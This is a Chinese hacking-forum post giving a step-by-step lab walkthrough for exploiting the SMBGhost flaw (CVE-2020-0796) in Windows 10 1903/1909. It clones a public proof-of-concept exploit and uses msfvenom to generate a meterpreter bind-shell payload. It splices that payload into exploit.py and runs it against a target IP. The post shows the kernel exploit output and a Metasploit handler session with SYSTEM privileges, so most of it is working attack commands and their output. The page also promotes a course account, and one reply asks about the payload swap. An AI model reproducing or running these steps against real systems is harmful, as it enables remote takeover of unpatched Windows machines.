找回密码
 立即注册
注册 登录
×
热搜: 活动 交友 discuz
查看: 72|回复: 1

使用CVE-2020-0796永恒之黑漏洞对win10进行渗透

[复制链接]

1

主题

2

帖子

3

积分

新手上路

Rank: 1

积分
3
发表于 2022-11-28 09:42:35 | 显示全部楼层 |阅读模式
实战-使用CVE-2020-0796永恒之黑漏洞对win10进行渗透

1.1  实战-使用CVE-2020-0796永恒之黑对win10进行渗透

1.1.1  漏洞简介

Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
1.1.2  影响版本

漏洞暂不影响主流的服务器版本,只影响Windows 10 1903之后的各个32位、64位版Windows,包括家用版、专业版、企业版、教育版。(只影响 SMB v3.1.1,1903和1909)
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)

1.1.3  实验环境

靶机:192.168.1.60 (Windows 10 1903)  关闭防火墙
复制下面链接,打开迅雷可下载
cn_windows_10_consumer_editions_version_1903_updated_nov_2019_x64_dvd_055b3530.iso (5.04 GB)
攻击机:192.168.1.53 (Kali 2019.1a)

1、查看靶机win10版本号(需要在影响的版本范围内)







2、查看系统补丁情况,需要未打KB4551762补丁
win+R







1.1.4  永恒之黑漏洞复现

1、下载安装exp
root@xuegod53:~# git clone https://github.com/root-tools/SMBGhost_RCE_PoC
或使用xshell上传课程资料中的SMBGhost_RCE_PoC.zip到Kali



解压SMBGhost_RCE_PoC.zip
root@xuegod53:~# unzip SMBGhost_RCE_PoC.zip
root@xuegod53:~# cd SMBGhost_RCE_PoC/
root@xuegod53:~/SMBGhost_RCE_PoC# ls
exploit.py  kernel_shellcode.asm  lznt1.py  README.md  smb_win.py

2、生成payload
root@xuegod53:~/SMBGhost_RCE_PoC# msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4433 -b '\x00' -f python > exploit
-p 指定payload
LPORT  目标主机执行程序后打开的侦听端口
-b 去掉坏字符,坏字符会影响payload正常执行。
> exploit 将生成的payload代码保存到文件exploit中
扩展:\x00 代表16进制的“00”组成的字符串。通过ASCII码换成能识别的就是:"00" - "00000000" - NUL。由于"00000000"是不可见字符,所以代码中没用。如图:



3、替换payload
打开文件exploit
root@xuegod53:~# vim exploit   #将文件中的buf开头,替换为:USER_PAYLOAD开头。
在vim命令行模式下,执行:
:1,%s/buf/USER_PAYLOAD/g
如下图:



替换后效果如下:



┌──(root?xuegod53)-[~/SMBGhost_RCE_PoC-master]
└─# cat exploit        #复制输出的内容

用修改后的payload代码替换exploit.py中的代码。
┌──(rootxuegod53)-[~/SMBGhost_RCE_PoC-master]
└─# vim exploit.py
删除92行到128行中的内容,
删除后,把cat exploit ,复制的内容,粘到92行以下,效果如下:



4、执行替换后的exp
root@xuegod53:~/SMBGhost_RCE_PoC# python3 exploit.py -ip 192.168.1.60
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff7a500000000
[+] found PML4 self-ref entry 1d8
[+] found HalpInterruptController at fffff7a500001518
[+] found HalpApicRequestInterrupt at fffff80305215bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at ffffec7bc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000950!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...

5、在MSF上启动handler开始监听连接目标机
root@xuegod53:~# msfdb run
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set LPORT 4433
LPORT => 4433
msf5 exploit(multi/handler) > set RHOST 192.168.1.60
RHOST => 192.168.1.60
msf5 exploit(multi/handler) > exploit

  • Started bind TCP handler against 192.168.1.60:4433
  • Sending stage (206403 bytes) to 192.168.1.60
  • Meterpreter session 1 opened (192.168.1.53:46763 -> 192.168.1.60:4433) at 2020-10-05 14:48:25 +0800

    meterpreter >
    成功建立连接
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    查看获取的权限为system
    meterpreter > sysinfo



    meterpreter > ifconfig


    更多技术干货尽在公众号【学神来啦】!
  • 回复

    使用道具 举报

    0

    主题

    1

    帖子

    0

    积分

    新手上路

    Rank: 1

    积分
    0
    发表于 2022-11-28 09:42:55 | 显示全部楼层
    想具体问一下,为什么要替换payload?这个test.py与exploit.py有什么关系?
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    Archiver|手机版|小黑屋| 黑客通

    GMT+8, 2025-10-13 01:31 , Processed in 0.099884 second(s), 22 queries .

    Powered by Discuz! X3.4

    Copyright © 2020, LianLian.

    快速回复 返回顶部 返回列表